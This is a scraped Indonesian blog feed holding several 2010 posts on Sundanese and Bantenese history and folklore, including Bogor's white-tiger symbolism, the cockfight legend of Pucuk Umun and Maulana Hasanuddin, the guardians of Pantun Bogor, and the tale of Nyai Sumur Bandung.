adalah, adakah sebenarnya harimau yang berwana putih? Pertanyaan yang sama dapat pula diajukan untuk patung badak putih atau sosok wayang Anoman. Pernahkan pula ada burung rajawali yang berbulu ekor 8 helai, bersayap 17 helai dan berbulu leher 45? Mungkin ada, entah di mana. Yang jelas ada dalam mitos dan legenda atau kisah orang-orang tua.<br /><br /> <br /><br />Tapi bila kita saksikan bagaimana kisah kepergian Surawisesa atas perintah ayahnya (Siliwangi) ke Malaka dalam lakon pantun digubah menjadi kepergian Mundinglaya Dikusuma ke Kahiyangan mencari Lalayang Salakadomas, dan tokoh Alfonso d'Albuquerque digantikkan posisinya oleh tokoh Sunan Ambu, dapatlah disimpulkan bahwa kisah-kisah ajaib seperti itu bernilai simbolik dan menyembunyikan sesuatu kenyataan.Tidak mungkinkah kisah gaib harimau kumbang dan harimau putih itu juga melambangkan kaitan historis antara Tarumanagara (tarum=nila=hitam) dengan Sunda (putih)?. <br /><br /> <br /><br />Terlepas dari itu semua, orang sependapat bahwa harimau menjadi lambang kepahlawanan dan putih melambangkan kesucian, kemurnian, kejujuran dan keadilan. Patung harimau putih hanyalah hiasan yang mudah-mudahan mampu mengingatkan kita apa arti keadilan dan kejujuran dalam ajaran moralsebagai bagian warga negara Republik Indonesia. "The Kingdom of Sunda is justly governed" (kata Tome Pires) patut kita buktikan, minimal di sebagian kecil bekas ibukotanya. Taruma-Sunda adalah identitas sejarah Bogor.<br /><br /> <br /><br />Ciliwung-Cisadane menjadi identitas topografinya (waruga). Sesuai dengan makna yang terkandung didalamnya, Kotamadya Bogor memiliki bendera pengenal yang berwarna tarum dan putih dengan lambang daerah di tengahnya. Silahkan baca saja bendera itu dengan Kotamadya Bogor di atas lahan Ciliwung dan Cisadane. <br /><br /> <br /><br />Uraian ini ditambahkan sebagai pelengkap dengan maksud memandang ke sisi lain tempat orang-orang tua yang bijak merenungkan sesuatu di luar wujud materi. Manusia modern pernah beranjak terlalu jauh dan menganggap dirinya berhadapan, bahkan berhak menaklukkan alam. Namun pengalaman membuktikan bahwa mereka hanya sebagian dari alam itu. Menaklukkan alam berartimemusnahkan diri sendiri karena lingkungan hidup itu bukan untuk para penghuninya, melainkan terdiri atas para penghuninya. <br /><br /> <br /><br />Hana nguni hana mangketan hana nguni tan hana mangkeaya ma beuheula aya tu ayeunahanteu ma beuheula hanteu tu ayeunahana tunggak hana watangtan hana tunggak tak hana watanghana ma tunggulnya aya tu catangnya.<br /><br /> <br /><br />Sumber: <br /><br />- Sejarah Bogor, Saleh DanasasmitaBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-25325670213340729772010-09-21T22:40:00.000+07:002010-09-21T22:41:48.871+07:00Cerita Rakyat Banten "Prabu Pucuk Umun Vs Sultan Maulana Hasanuddin”Cerita rakyat yang berhubungan dengan Islamisasi di Banten salah satunya adalah cerita Pucuk Umun. Pucuk Umun menghadapi Sultan Hasanuddin. Menurut ceritanya, kedua orang itu mengadakan adu ayam dengan ketentuan bila ayam Pucuk Umun kalah, Sultan Hasanuddin bebas menyebarkan Islam di derah Banten. Ternyata ayam Pucuk Umun Kalah dan setelah itu ia melepaskan daulatnya atas Banten dan kemudian bermukin di Ujung Kulon. Tempat pertarungan adu kesaktian antara Maulana Hasanuddin dengan Pucuk Umun pun telah disepakati oleh kedua belah pihak, yaitu di lereng Gunung Karang. Satu tempat yang dianggap netral, karena kedua pihak tentu tidak ingin disebut jago kandang bila berhasil memenangkan pertandingan, yang tidak saja mempertaruhkan jabatan tapi juga kedaulatan atas Banten. Perlu dicatat disini, bahwa pertarungan ini bukanlah pertarungan ‘full-body contact’ langsung antara dua tokoh agama, tapi pertarungan dengan menggunakan perwakilan berupa ayam jago: satu milik Maulana Hasanuddin dan yang satu lagi milik Pucuk Umun. Penyelenggaraan pertarungan dahsyat ini adalah prakarsa dari Pucuk Umun sendiri yang langsung diterima oleh Maulana Hasanuddin. Pendekatan seperti ini dapat dipandang sebagai jalan tengah menuju penyelesaian damai terhadap konflik berkepanjangan antara dua pihak yang berbeda kepentingan. Pucuk Umun berkepentingan mempertahankan eksistensi ajaran Sunda Wiwitan (Hindu) di bawah naungan Negeri Pajajaran. Sedangkan Maulana Hasanuddin berkepentingan agar supaya kegiatan dakwah Islam di Banten dapat berjalan tanpa hambatan yang berarti.<br /><br /><br />Matahari pagi mulai memanasi Gunung Karang yang hijau ketika kumpulan orang-orang mulai memadati lapangan. Untuk menghadapi berbagai kemungkinan, masing-masing pihak melengkapi diri dengan senjata masing-masing. Dari kejauhan tertampak, selain ada golok di pinggangnya, Pucuk Umun juga memegang tombak. Sedangkan di pinggang Maulana Hasanuddin terselip sebilah keris pusaka warisan Wali Songo. Di tepi utara lapangan, Maulana Hasanuddin tampak mengenakan jubah putih dengan sorban di kepala. Sementara disisi selatan, Pucuk Umun berpakaian hitam-hitam, dengan rambut gondrong sampai leher, mengenakan ikat kepala.<br /><br /><br />Dua ekor ayam jago yang masing-masing masih dalam kandang anyaman bambu sudah berada di tengah lapangan. Ayam milik Pucuk Umun telah diberi ajian ‘otot kawat tulang besi’ dan dipasang keris berbisa pada kedua tajinya. Sedangkan pada ayam milik Maulana Hasanuddin tidak dipasang senjata apapun, tetapi dia telah dimandikan dengan air sumur Masjid Agung Banten. Pada saat dimandikan, dibacakan ayat-ayat Al-Quran, termasuk Surat Al-Fatihah, Surat Al-Ikhlas dan kalimat “La haula wala quata illa billahil aliyyil ‘adzim” masing-masing tiga kali.<br /><br /><br />Suasana di arena laga tampak menegangkan. Dari pihak Maulana Hasanuddin, telah hadir ratusan pengikutnya yang terdiri para ustad dan santri yang juga merangkap sebagai anggota pasukan keamanan. Mereka semua terbenam dalam doa memohon pertolongan Allah SWT. Adapun di pihak Pucuk Umun, telah hadir juga 800 ajar (sejenis pendeta) dan beberapa Punggawa (Panglima) Pajajaran, yang semuanya tampak komat kamit membaca jampi-jampi. <br /><br /><br />Dalam suasana yang mencekam itu, dua orang Punggawa yang mewakili kedua pihak maju ke tengah lapangan membacakan maklumat:<br /><br /><br />“Di hadapan yang mulia Maulana Hasanuddin dan Prabu Pucuk Umun, perkenanlah kami membacakan maklumat sebagai berikut:<br /><br /><!--[if !supportLists]-->1. <!--[endif]-->Sebagaimana yang telah disepakati antara yang mulia Maulana Hasanuddin dengan Prabu Pucuk Umun, bahwa apabila Prabu Pucuk Umun kalah maka pihak Maulana Hasanuddin akan diberi kebebasan menyebarkan Islam di Banten. Tetapi apabila ternyata Prabu Pucuk Umun yang menang, maka Maulana Hasanuddin harus menghentikan kegiatan dakwahnya di Banten Tengah dan Selatan.<br /><br /><!--[if !supportLists]-->2. <!--[endif]-->Pihak yang kalah harus menunjukkan tanda pengakuan kepada pihak yang menang dengan menyerahkan senjata kepada pihak yang menang.<br /><br /><!--[if !supportLists]-->3. <!--[endif]-->Kepada semua yang hadir, agar dapat menahan diri dan menjaga ketertiban dengan tidak memasuki lapangan selama pertandingan berlangsung.<br /><br /><br />Demikianlah maklumat kami sampaikan.”<br /><br /><br />Riuh rendah suara penonton mulai membahana tatkala dua ekor ayam jago mulai dikeluarkan dari sangkarnya masing-masing. Kedua jago itu bergerak saling mendekati, berhadap-hadapan dalam jarak sekitar dua meter. Bagaikan dua jagoan di atas ring tinju, keduanya terus bergerak, menari-nari, dengan posisi siap menyerang dan diserang, sambil menatap mata lawan. Belum ada insiatif menyerang dari masing-masing jago. Karena, tampaknya, kedua jago ini mengharapkan serangan dimulai oleh lawan. Kemudian, tiba-tiba jago Pucuk Umun mengambil ancang-ancang, mundur setengah meter, lalu dengan kekuatan penuh, bergerak maju menyerang, mengarahkan kerisnya ke dada jago Maulana Hasanuddin yang siap menyambut serangan pertama itu. Gebraaaaak!! Suara keras terdengar sampai jarak satu kilometer. Benturan fisik pun terjadi antara dua jago yang sedang bertarung mempertaruhkan harga diri tuannya.<br /><br /><br />Kedua jago itu saling terpental kearah belakang masing-masing. Tidak ada tanda-tanda luka pada jago Maulana Hasanuddin, dan malahan ia kembali berusaha tenang setelah menerima serangan pertama. Mereka kembali berhadap-hadapan, siap menyerang dan diserang. Jago Pucuk Umum menjadi beringas, yang terlihat dari gerakan dan matanya yang memerah. Apakah pukulan jago Maulana Hasanuddin berhasil bersarang di dadanya saat hunjaman kerisnya gagal menggores dada lawan? Entahlah. Yang tampak ketika itu adalah suasana hening di pinggir lapangan. Semua mata mengarah kepada kedua jago itu. Rupanya, jago Pucuk Umun terpancing emosinya. Gerakannya semakin liar dan matanya merah. Lalu dia menyerang lagi dengan maksud merobek dada jago Maulana Hasanuddin. Kali ini, jago Maulana Hasanuddin berkelit kearah kiri menghindari keris berbisa jago Pucuk Umun, dan … Buk!!, tangan kanannya bersarang di rusuk kanan jago Pucuk Umun. Serangan jago Pucuk Umun gagal total, bahkan dia mendapat sebuah gebukan telak.<br /><br /><br />Jago Pucuk Umun tampak semakin kalap dan berniat melancarkan serangan mematikan kearah lawannya. Melihat gelagat lawannya itu, jago Maulana Hasanuddin menghindar. Tiba-tiba, dia melompat ke angkasa. Jago Pucuk Umun pun melompat tinggi menyusulnya. Semua mata terfokus pada kedua jago yang berada pada ketinggian sekitar 40 meter dari tanah. Tak terhindarkan lagi, sebuah pertarungan sengit terjadi di udara, disaksikan gunung karang yang tegak kokoh dengan sinar mentari yang berkilau di atas pepohonan hijau. Lalu tiba-tiba terdengar suara keras memekakkan telinga. Gebraaaak!!! Tubuh jago Pucuk Umun hancur berkeping-keping, jatuh ke tanah berlumuran darah. Para penonton, pendukung jago Maulana Hasanuddin bergemuruh sambil meneriakkan “Allahu Akbar! Hidup Maulana Hasanuddin! Hidup Syariat Islam!”<br /><br /><br />Demikianlah, akhirnya Maulana Hasanuddin memenangkan adu kesaktian melawan Pucuk Umun. Pucuk Umun mengaku kalah, melangkah mendekati Maulana Hasanuddin, memberi hormat dan menyerahkan golok dan tombak miliknya sebagai tanda pengakuan atas kemenangan Sang Maulana. Pucuk Umun undur pamit setelah mengaku kalah dan menyerahkan daulatnya atas Banten, dan kemudian bermukim di Ujung Kulon sampai akhir hayatnya. Adapun pengikutnya yang loyal, memutuskan untuk memisahkan diri dari masyarakat Islam. Mereka menetap di Desa Kanekes, Kecamatan Leuwidamar, Lebak sampai sekarang sebagai satu komunitas yang melanggengkan ajaran Sunda Wiwitan.<br /><br /><br />Sementra itu, pada hari itu juga, 800 ajar dan dua orang Punggawa Pajajaran, Mas Jong dan Agus Jo, menyatakan diri masuk Islam dengan mengucapkan dua kalimat syahadat di hadapan Sultan Maulana Hasanuddin. Dengan masuknya mereka ke dalam masyarakat muslim, maka semakin muluslah jalan bagi Sultan Maulana Hasanuddin untuk mewujudkan sebuah Negara Islam di Banten. Pusat Pemerintahan pun dipindahkan, pada tanggal 1 Muharram 933 H atau 8 Oktober 1526, dari Banten Girang (dekat Serang sekarang) ke daerah pesisir yang kemudian dikenal dengan nama Surosowan, yang sekarang disebut Banten Lama.<br /><br /><br /><br /><br /><br />CERITA-CERITA yang dikemukakan di atas tentu saja hanyalah cerita rakyat, bukan data historis. Walaupun demikian, kesimpulan yang dapat ditarik ialah betapa akrabnya Banten dengan Islam sehingga agama ini sudah amat mendalam pengaruhnya terhadap alam pikiran orang Banten. Selain itu, tidak tertutup juga kemungkinan bahwa agama Islam sudah lebih dahulu dikenal oleh masyarakat Banten, adalah wajar bila ada anggapan bahwa penyebaran Islam dari Demak melalui Cirebon lalu ke Banten itu merupakan fakta sejarah yang dihubungkan dengan kekuasaan kerajaan, padahal dalam kenyataannya dapat saja melalui tokoh-tokoh di luar itu, walaupun secara kecil-kecilan. Artinya di samping adanya wacana besar yang dibenarkan oleh sejarah, ada pula wacana kecil yang ternyata akhirnya terserap oleh beberapa cerita rakyat.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-11417324388108822352010-09-21T22:39:00.001+07:002010-09-21T22:39:52.389+07:00Ki Saleh DansasmitaMencari Ahli Waris Pantun Bogor<br />><br />> Dalam buku sejarah atau cerita rakyat tidak banyak yang mengisahkan<br />> secara detail tentang saat-saat terakhir kerajaan Pajajaran ketika<br />> digempur oleh pasukan gabungan dari Demak, Banten, dan Cirebon tahun<br />> 1526 M. Sebagian besar dongeng rakyat Pasundan tentang masa-masa itu<br />> selalu ditutup dengan kisah menghilangnya Prabu Siliwangi ke alam gaib<br />> dan mengubah pengikutnya menjadi manusia harimau. Sedangkan dalam<br />> Pantun Bogor terasa lebih masuk akal.<br />><br />> Dikisahkan saat pasukan Pajajaran semakin terdesak mempertahankan<br />> keraton di Bogor, Raja Pajajaran Prabu Siliwangi membagi keluarganya<br />> menjadi tiga kelompok untuk menyelamatkan diri. Sang Prabu beserta<br />> rombongannya menuju pesisir Pantai Ujung Genteng, Sukabumi. Di tempat<br />> tersebut rombongan membuat perahu untuk menyeberang ke Pulau<br />> Nusalarang (sekarang Pulau Christmas). Namun, ketika perahu selesai<br />> dibuat dan digunakan menyeberang, badai ombak besar mirip tsunami<br />> menerjangnya hingga perahu pun hancur berantakan.<br />><br />> Sang Prabu akhirnya pasrah, kemudian ia membebaskan pengikutnya untuk<br />> pergi ke mana pun menyelamatkan diri, ia sendiri memilih moksa. Di<br />> tempat lain putri bungsu Prabu Siliwangi Dewi Purnamasari memilih<br />> menyelamatkan diri ke wilayah Palabuhanratu. Sang Putri bersama<br />> pengawalnya kemudian membentuk perkampungan yang lambat laun<br />> berkembang menjadi pemerintahan kecil bernama Pelabuhan Nyai Ratu.<br />><br />> Pemerintahan dilanjutkan oleh putri semata wayangnya Dewi Mayang<br />> Sagara yang pada tahun 1555 M mengganti nama kerajaan menjadi Kerajaan<br />> Pakuan Pajajaran Mandiri. ,Namun kerajaan ini kemudian digempur hingga<br />> tak bersisa oleh pasukan Kesultanan Mataram yang kala itu mulai<br />> berkuasa di tanah Sunda. Sedangkan Putra Mahkota Pajajaran, Prabu Anom<br />> Kean Santang menyelamatkan diri ke daerah sekitar Gunung Halimun<br />> Sukabumi, menyamarkan diri sebagai Batara Cikal dan kemudian menjadi<br />> nenek moyang masyarakat adat Banten Pancer Pangawinan.<br />><br />> Dalam Pantun Bogor juga terdapat Uga (ramalan masa depan), malah<br />> kendati Pantun ini disusun pada abad ke-18 M, sudah bisa melukiskan<br />> ciri-ciri beberapa Presiden RI di antaranya seperti sosok Bung Karno<br />> disebutkan sebagai Raja make makuta buludru, unggah hulu banteng (Raja<br />> mengenakan mahkota beludru/peci menaiki kepala banteng, lambang Partai<br />> Marhaen). Presiden K.H. Abdurachman Wahid digambarkan sebagai ”Raja<br />> Lolong Unggah Karaton” (Raja Bermata Buta Bertahta di keraton). Pantun<br />> Bogor ditulis sekitar tiga ratus tahun lalu oleh seorang pujangga<br />> misterius yang memiliki nama samaran Aki Uyut Baju Rambeng hidup di<br />> sekitar Jasinga Bogor.<br />><br />> Naskah tersebut kemudian diwariskan kepada Rd. Wanda Sumardja seorang<br />> Demang masa penjajahan Belanda. Naskah-naskah kemudian diwariskan lagi<br />> kepada Raden Mochtar Kala asal Bogor yang kemudian lebih dikenal<br />> dengan nama Rakean Minda Kalangan (RMK) sesepuh Bogor yang meninggal<br />> tahun 1983 lalu dalam usia 79 tahun. Semasa hidupnya, RMK kerap<br />> dijadikan narasumber oleh berbagai pihak tentang budaya Sunda. Namun,<br />> dari sekian banyak yang belajar kepadanya, hanya dua orang yang<br />> terpilih untuk mewarisi Pantun Bogor yakni sejarawan Drs. Saleh<br />> Danasasmita dan Anis Djatisunda. Kini tinggal Anis Djatisunda (71)<br />> yang masih hidup, tokoh berdarah Sunda dari ibu dan Sangihe Talaud<br />> Sulawesi Utara dari ayahnya ini dikenal sebagai sesepuh budayawan<br />> Sunda dan kerap diminta pendapatnya oleh berbagai pihak.<br />><br />> Anis menjelaskan bahwa Pantun Bogor diwariskan dengan budaya tutur, ia<br />> dan almarhum Saleh Danasasmita dilarang keras mencatat saat menerima<br />> Pantun Bogor episode per episode. Beberapa episode Pantun Bogor di<br />> antaranya berjudul Kalang Sunda Makalangan, Pakujajar Beukah Kembang,<br />> Pakujajar di Lawanggintung, Kujang di Hanjuang Siang, Dadap Malam<br />> Cimandiri, Pajajaran Seren Papak, Curug Sipadaweruh, Tunggul Kawung<br />> Bijil Sirung, Lawang Saketeng ka Lebak Cawene, dan Ronggeng Tujuh<br />> Kalasirna.<br />><br />> Pantun Bogor dibagi menjadi dua bagian yakni Pantun Bogor Leutik dan<br />> Pantun Bogor Gede. Pantun Bogor Leutik berkisah sekitar kehidupan<br />> sehari-hari masyarakat Kerajaan Pajajaran atau tentang para putri raja<br />> dan kesatria. Sedangkan Pantun Gede berkisah tentang ajaran agama<br />> Sunda, silsilah Raja Sunda, Uga, dan pola pemerintahan Kerajaan Sunda.<br />> Pada masa lalu Pantun Bogor disampaiakan oleh juru pantun sambil<br />> diiringi petikan kecapi lisung senar tujuh khas Pajajaran yang kini<br />> sudah punah.<br />><br />> Anis menegaskan bahwa Pantun Bogor yang ia jelaskan kepada khalayak<br />> umum dewasa ini hanya diambil dari naskah Pantun Leutik, sedangkan<br />> ungkapan Pantun Gede dengan teks aslinya masih dirahasiakan karena<br />> sifatnya yang sakral. Bagian ini hanya akan diberikan kelak kepada<br />> ahli waris Pantun Bogor, yang hingga kini belum ia temukan.<br />><br />> Anis berharap sebelum ajal menjemputnya, ia ingin menemukan pewarisnya<br />> yang benar-benar mencintai Kasundaan, yang berkepribadian ”Nyunda,<br />> Nyiliwangi, dan Majajaran” dan memiliki jiwa yang Saharigu, Sasusu,<br />> Sahate jeung Sarancage (Sehidup dan Semati) dengan Kasundaan. Bila<br />> tidak juga menemukan sosok yang sesuai, Pantun Bogor terpaksa akan ia<br />> bakar, hal itu sesuai pesan mendiang Rakean Minda Kalangan. Akan<br />> tetapi mudah-mudahan hal itu tidak terjadi, sebab bila kemudian harus<br />> sirna karena dibakar tentu sangat disayangkan, pasalnya kedudukan<br />> pantun ini bagi sebagian sejarawan dan budayawan memiliki nilai tinggi<br />> dalam perjalanan sejarah sastra dan budaya Sunda. (Luki Muharam,<br />> pegiat Lembaga Kebudayaan Cianjur) ***Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-32828622306072664482010-09-21T22:31:00.000+07:002010-09-21T22:32:17.393+07:00Nyai Sumur BANDUNGNYAI SUMUR BANDUNG <br /><br />Nagara Kuta Waringin, negara subur dan makmur. Ratunya bernama Munding Keling Puspa Mantri, Menak Pakuan, Menak Terah Pajajaran, Satria Mangkuwasa. Panakawannya: Kuda Aing lengser. Munding waringin, Kuda waringin dan kalang Sutra Tandur wayang (kakak ipar ratu). Pawarangny ada 42 orang tetapi yang diceritakan hanya dua, yaitu Gurit Haji Wira Mantri dan Nimbang Waringin.<br />Pada suatu ketika di Kuta waringin diadakan pesta meriah sekali. Bunyi tetabuhan terdengar oleh Nyai Sumur Bandung di negara Bitung wulung. Demi didengarnya suara itu, ia membangunkan kakaknya, rangga Wayang yang sedang bertapa. Lalu bertanya tentang suara itu. Setelah Sumur Bandung melihat telpak tangan Rangga wayang tahulah bahwa di negara Kuta Waringin sedang diadakan pesta besar-besaran.<br />Setelah itu Sumur Bandung ditanya oleh rangga Wayang, mau tidaknya bersuamikan Ratu Kuta Waringin. Mula-mula Sumur Bandung menolaknya, tetapi karena desakan Rangga wayang, ia mau juga mengikuti kehendak kakaknya, tetapi dengan syarat, jika nanti pergi ke negara Kuta Tandingan, harus naik banteng lilin yang berwarna jingga. Kalintingnya untaian bintang, tanduknya salaka domas, ekornya banyu emas.<br />Rangga Wayang tidak dapat memenuhi permintaan Sumur Bandung, maka ditemuinya Langen Sari Jaya Mantri Mas Wira Jayamanggala, kakaknya Sumur Bandung. Langen Sari sanggup menangkap banteng lilin asal diantar oleh Sumur Bandung. Ia tidak tahu rupa banteng tersebut.<br />Pada waktu yang sudah ditentukan, Sumur bandung pergi bersama-sama denga rangga wayang (dengan naik banteng), ke negara Kuta Waringin. Sebelum berangkat semua harta kekayaannya dimasukkan oleh Sumut bandung ke dalam Cupu Azimat, lalu dititipkan kepada pembantunya, Nyai Ogem.<br />Sesampainya di negara kuta waringin, Rangga Wayang menemui Kalang Sutra. Tetapi keinginanya itu tidak begitu saja diterima oleh Kalang Sutra, sebab keputusan terakhir ada ditangan ratu.<br />Retu dapat menerima maksud dan keinginan Rangga Wayang, tetapi Nimbang Waringin menolaknya. Sikapnya, ucapannya sangat menyakitkan gati para tamu. Ia marah-marah, sambil berdahak-dahak di muka tamunya.<br />Tak lama sesudah itu Rangga wayang menjemput Sumur Bandung di batas kota. Sumur bandung mengubah dirinya menjadi nenek-nenk, kemudian berangkatlah mereka menemui Nimbang Waringin. Senasib dengan Rangga wayang, ia pun diludahinya. Pangkuannya penuh ludah Nimbang waringin.<br />Karena Sumur Bandung merasa dihina, lagi pula dicemburukan ratu, sekalian dimintanya ratu Munding Keling, dari tangan Nimbang waringin. Nimbang Waringin merasa terhina pula. Pertengkaran terjadi, kemudian diteruskan dengan perkelahian antara kedua wanita itu. Nimbang Waringin tak kuat melawan Sumur Bandung. Ia lari dan minta bantuan kepada madunya (istri ratu yang lain yang jumlahnya ada 41)<br />Di alun-alun diadakan pertandingan mengadu kecantikan antara Sumur bandung dan Nimbang Waringin beserta semua madunya. Nimbang Waringin kalah dalam pertandingan itu. Selanjutnya diadakan pertandingan berpanjang-panjang rambur, ketangkasan bermain keris, dan lain-lain. Kemenangan selalu ada di pihak Sumur Bandung. Ketika diadakan “adu tinja” , siapa yang tinjanya harum, itulah yang menang, Sumur bandung minta Boreh batara Guru kepada Sunan Ibu. Tinja Nimbang Waringin ternyata lebih busuk daripada tinja Sumur Bandung. Pertandingan terakhir mengadu kerbau, dan yang menang, juga Sumur bandung.<br />Karena terus-terusan kalah, diterkamnya Sumur Bandung, namun Nimbang waringin kewalahan dan minta bantuan kepada semua madunya. Karena kekuatannya tidak seimbang, Sumur bandung minta pula bantruan kepada Langen Sari. Semua musuh Sumur bandung dapat dihalaunya.<br />Melihat Langes sari turut campur, kalang Sutra dan Nimbang Waringin tidak dapat tinggal diam, lalu ia pun turut membantu Nimbang Waringin<br />Diceritakan bahwa perang antara Sumur bandung dan Nimbang Waringinsudah cukup lama, tetapi satu pun tidak ada yang kalah. Masing-masing mencoba kesaktiannya. Sumur Bandung berpendapat bahwa perang tidak akan selesai-selesai, oleh karena itu, ia akan minta bantuan Sunan Ibu di sorgaloka untuk mengalahkannya. Sumur Bandung segera pergi ke Surgaloka, diikuti oleh Nimbang waringin. Nimbang waringin dihisap kekuatannya oleh Sumur Bandung sehingga kecapaian kalau harus mengikuti terus Sumur Bandung ke sorgaloka. Untuk mengalahkannya, sama sekali ia tak sanggup. Nimbang waringin takluk, dan dengan rela menyerahkan suaminya kepada Sumur Bandung<br />Sesudah itu oleh Sunan Ibu, Sumur Bandung diberi bahan anak sebesar kacang hijau. Bahan anak itu ditelan oleh Sumur Bandung,<br />Sepulangnya dari surgaloka, Sumur bBndung dan Nimbang Waringin bertemu dengan saudara-saudaranya yang sedang berkelahi di lautan. Dengan adanya pertemuan itu menyebabkan yang berkelahi berhenti, selanjutnya Langen Sari, Kalang Sutra, juga Sumur Bandung kembali ke Kuta Waringin seterusnya diadakan pesta perkawinan antara Sumur Bandung dengan Ratu Munding Keling.<br />Dikabarkan bahwa ada sebuah negara yang bernama Rucuk pajajaran. Rajanya bernama Raden Jaga Ripuh, saudara permuannya bernama sekar pakuan.<br />Demi mendengar Sumur Bandung sudah menikah dengan Ratu Kuta waringin, Jaga Ripuh amatlah susah. Ia pernah menyerahkan sejumlah uang lamaran kepada Rangga Wayang. Timbul niatnya untuk mencuri Sumur Bandung. Tetapi segera ketahuan oleh Rangga Wayang dan Sumur Bandung sendiri. Rangga Wayang menjadikan dirinya sebagai Sumur Bandung dan segera mendekati Jaga Ripuh. Setelah dilihat Jaga Ripuh bahwa Sumur Bandung ada di kebun bunga, ditangkapnya Sumur Bandung palsu itu. Dengan perasaan gembira ia membawa Sumur Bandung palsu ke negaranya. Tak lama kemudian, ia sudah berada di negaranya (Rucuk Pakuan).<br />Seperginya Jaga Ripuh setelah menyerahkan Sumur Bandung kepada Sekar Pakuan, Rangga Wayang menjadikan dirinya kembali kepada ujudnya semula. Melihat kejadian itu Sekar Pakuan minta agar tidak dianggap ikut dalam persekongkolan itu. Permintaan Sekar Pakuan dapat diterima oleh Rangga Wayang, kemudian Rangga Wayang bersma-sama dengan Sekar Pakuan kembali ke Kuta Waringin. Sekar Pakuan diserahkan oleh Rangga Wayang kepada ratu untuk dijadikan selir.<br />Tak lama sesuadh itu, Rangga Wayang menyerahkan lagi Jaga Ripuh kepada ratu, setelah berhasil dikalahkannya, seterusnya negara Kuta Waringin menjadi negara yang aman, sentausa, subur makmur<br /><br /><br />Sumber ceritera<br />e.d C.M. Pleyte, 1910<br /><br /><br /> (B)<br /><br /><br />Raja Agung Purba Mantri Pangeran Purba Kusuma pergi ke negara Daha dengan maksud mencari calon istri, tetapi tak ditemukannya. Kemudian ia pergi ke Kuta Waringin. Di sini ia menemukan tiga orang calon, yakni: Nyai Tanjung Waringin, Nyai Nimbang Waringin dan Nyai Jurit Aji lanjang Sari. Kemudian raja menikah dengan ketiga orang putri itu. Patihnya (kakak prameswari) namanya Raden Gajah Waringin. Panakawannya dua orang, yaitu: Candra Wali dan Candra Terebang.<br />Pada suatu waktu, raja menyuruh Gajah Waringin menaklukan negara Kuta Siluman, tetapi ia tidak sanggup. Ada yang dapat mengalahkan negara Kuta Siluman yaitu Raden Langen Sari, kakak Nyai Sumur Bandung, satria yang berkelana, pertapa sakti yang dapat berubah menjadi kakek-kakek.<br />Langen Sari mengubah dirinya menjadi satria kembali, lalu pergi ke negara Kuta Siluman. Dengan perantaraan Nyi Mas Maya Siluman, adik ratu, Langen Sari bisa menemui Rangga Siluman, raja Kuta Siluman. Diajaknya raja rangga Siluman takluk kepada raja Agung, tetapi ditolaknya. Langen Sari terus mengajak, sedangkan Rangga siluman tetap menolaknya. Akibatnya terjadilah peperangan yang dahsyat sekali. Mereka saling mendorong dan saling mendesak, hingga sampailah di negara Pucuk Beusi. Rajanya bernama Rangga Cempaka, adiknya bernama Nyi Mas Campaka Larang Mantri Kembang.<br />Setelah dilihatnya ada yang mengadu kekuatan, raja melibatkan dirinya, ia memihak kepada Rangga Siluman. Yang berperang sampai di negara Daha. Rajanya Pati Jalak Mangprang dan adiknya Nyi Mas Mangprang Wayang. Setelah diberitahukan oleh adiknya bahwa ada yang sedang berperang, maka pergilah raja ke tempat peperangan, yang berperang tampak sedang tergolek kepayahan. Ketiga orang yang mengadu kekuatan itu dibawanya ke paseban, tetapi ternyata Rangga Campaka dan Rangga Siluman sudah meninggal. Dengan ajimatnya, Mangprang Wayang menghidupkan kedua orang itu. Seterusnya kedua orang itu ingin membaktikan dirinya kepada raja Agung Purba Mantri. Begitu pula halnya Cempaka Larang dan maya Siluman.<br />Langensari berpamitan kepada raja untuk meninggalkan istana, karena ia telah lama tidak bersua dengan Sumur Bandung, yang dituju adalah negara Bitung Wulung.<br />Sesampainya di Bitung Wulung, Langen sari memanggil-manggil adiknya, tetapi Sumur Bandung tidak mau menyahut. Sumur Bandung mengakui bahwa ia mempunyai kakak yang bernama Langen Sari, tetapi sedang bertapa. Untuk membuktikan pengakuannya itu Langen Sari harus dapat mengalahkan tabuhan kembar. Berkat kesaktiannya, tabuhan itu dapat dibunuhnya. Sumur Bandung minta agar tabuhan tersebut dihidupkan kembali. Tabuhan dapat dihidupkan kembali, tetapi Sumur Bandung, belum juga puas hatinya. Kemudian Sumur bandung menyuruh Langen sari berenang di dalam kendi. Dengan senangnya Langen Sari berenang di dalam kendi. Akhirnya Sumur Bandung ingin melihat tanda yang ada di kepala Langen Sari, jelas sekali Sumur Bandung melihat tanda luka di kepala Langensari, barulah Sumur Bandung yakin bahwa itu adalah kakaknya, lalu ia minta maaf atas kehilapan yang diperbuatnya.<br />Selanjutnya Langensari mengajak Sumur Bandung pergi ke Kuta Waringin. Sebelum berangkat, Sumur Bandung menciutkan negara Bitung Wulung, lalu dimasukannya ke dalam penjara, seterusnya kedua bersaudara itu terbang.<br />Dari udara dilihatnya Raden Gangsa Wayang dan adiknya Nyi Salasa Wayang sedang berlayar. Langensari mencoba memberhentikan kapal itu. Terasa oleh Gangsa Wayang kapal oleng. Disuruhnya Rangga Wayang yang berada dalam kapal untuk memeriksanya. Rangga Wayang tidak kembali ke kapa, tetapi bersembunyi di dalam hutan (gua), karena yang mengganggu kapal itu adalah adiknya sendiri, Langensari.<br />Karena Rangga Wayang tidak juga muncul, Gangsa Wayang dan Salasa wayang turun ke laut. Diketahuinya bahwa yang berbuat untuk mengganggu lajunya kapal adalah Langensari, Langensari ditanya oleh Gangsa Wayang tentang asal dan maksudnya. Dijawabnya bahwa ia berasal dari Kampung Bitung Wulung dari negara Kuta Waringin. Dikatakan oleh Langensari, bahwa ia disuruh raja melihat kapal itu. Timbul percakapan yang dilanjutkan dengan peperangan, peperangan itu lama sekali, Gangsa Wayang minta kepada adiknya supaya peperangan dihentikan. Ubun-ubun Langensari dihisap oleh Salasa Wayang, hingga Langensari lemah lunglai tak berdaya. Sukmanya masuk ke seekor burung koleangkak, sambil terbang burung itu bersuara “Mun teang, mun teang ! (tengonglah segera). Hal itu diketahui oleh Sumur Bandung, oleh karena itu ia segera masuk ke dasar laut.<br />Sesudah Langensari dihidupkan kembali oleh Sumur Bandung, peperangan antara Langen Sari dengan Gangsa Wayang diteruskan. Salasa Wayang tahu bahwa Langen Sari dihidupkan oleh Sumur Bandung. Sumur 